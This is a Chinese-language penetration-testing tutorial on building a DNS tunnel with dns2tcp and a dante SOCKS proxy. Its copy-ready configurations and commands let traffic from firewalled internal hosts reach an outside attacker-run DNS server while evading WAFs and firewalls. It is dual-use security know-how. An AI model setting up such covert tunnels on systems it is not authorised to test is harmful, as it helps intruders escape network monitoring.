前言
在渗透测试工作中,经常会碰到web
入口机或内网主机无论使用TCP
、UDP
都无法使其上线c2
服务而且web
入口主机被层层waf
保护,reg
、abtts
、tunna
等HTTP代理都无法使用的情况。
但是如果这台主机可以解析域名,或者可以ping
出互联网域名指向ip
,此时不妨试试通过dns
协议进行内网流量传输。自从cobalt strike dns
出网方式的加入,越来越多人了解并使用通过dns
协议建立隧道并进行内网数据传输,因为dns
流量更加隐蔽,防火墙拦截概率低。
环境
测试使用阿里云域名
dnstcp2
安装配置dns2tcp
#安装dns2tcp
sudo apt-get install dns2tcp
#配置dns2tcp
sudo vim /etc/dns2tcpd.conf 将其中内容修改为:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
key = qweasd
domain =dns.shandenabian.link
resources = socks:IP:7777,http:IP:1080 #这里IP为公网IP地址
安装配置dante-server
接下来需要搭建一个socks
代理。我选择使用dante-server
来搭建。首先安装它,命令如下:
#安装
apt-get install dante-server
#配置
sudo vim /etc/danted.conf 将其中内容修改为:
logoutput: /var/log/sockd.log
internal: eth0 port = 7777
external: eth0
socksmethod: username none
user.privileged: proxy
user.unprivileged: nobody
client pass {
from: 0.0.0.0/0 port 1-65535 to: 0.0.0.0/0
}
socks pass {
from: 0.0.0.0/0 to: 0.0.0.0/0
protocol: tcp udp
}
我们现在看到的配置文件配置了一个监听端口7777的socks代理,无身份认证,允许任何客户端连接。
客户端软件配置
获得dns2tcp
的客户端程序dns2tcpc
#Linux
sudo apt-get install dns2tcp
#Windows系统
下载dns2tcp客户端程序dns2tcpc:
https://skydrive.live.com/embedicon.aspx/blog/201107/dns2tcpc%5E_win.7z?cid=6bb458eb3989ece3&sc=documents
搭建隧道
公网VPS搭建隧道
#启动socks代理
/etc/init.d/danted start
#创建后台会话 并 启动dns2tcp的服务器端
screen -S dns2tcpd
dns2tcpd -f /etc/dns2tcpd.conf -F -d 2
其中参数“-f /etc/dns2tcpd.conf”指定了配置文件,“-F”要求程序在前台运行,“-d 2”指明了输出调试信息,级别为2。
客户端搭建隧道
#建立DNS隧道 打开CMD,键入并执行如下命令:
dns2tcpc -r socks -z dns.xxx.link IP -l 8888 -d 2 -k qweasd
-r 后接服务名称<ssh/socks/http中的任意一个>
-z 后接你设置的NS记录,和你的VPS公网ip <公网ip> 可不填,不写将使用中继模式,否则使用直连模式
中继模式像我们平时上网一样,DNS解析先经过互联网的迭代解析,最后指向我们的恶意DNS服务器。相比直连,速度较慢,但是更安全。
-l 后接本地端口,随便一个常用端口就行,8888”指明了隧道的这头监听的端口
-d 开启 Debug ,“-d 2”指明了输出调试信息,级别为2,作用和服务器端相同
-k 密码
测试
在办公电脑(客户端)里打开火狐浏览器,设置socksv5
代理,IP地址是“云服务器公网IP”,端口是8888,如下图所示。
当前IP地址为公网IP地址,测试成功。
参考文章
https://blog.csdn.net/deng_xj/article/details/88834124
https://blog.csdn.net/wn314/article/details/81430554